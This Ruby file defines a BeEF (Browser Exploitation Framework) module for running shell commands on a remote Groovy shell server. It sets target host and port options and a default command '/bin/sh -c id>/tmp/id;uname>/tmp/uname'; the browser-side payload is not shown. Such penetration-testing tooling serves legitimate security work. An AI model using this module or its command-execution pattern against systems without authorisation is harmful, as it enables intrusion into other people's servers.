#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Groovyshell_server_command_execution < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
      { 'name' => 'rport',   'ui_label' => 'Remote Port', 'value' => '6789' },
      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
      { 'name' => 'cmd',     'ui_label' => 'Commands',    'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',
        'value' => '/bin/sh -c id>/tmp/id;uname>/tmp/uname', 'width' => '200px' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
    save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
  end
end
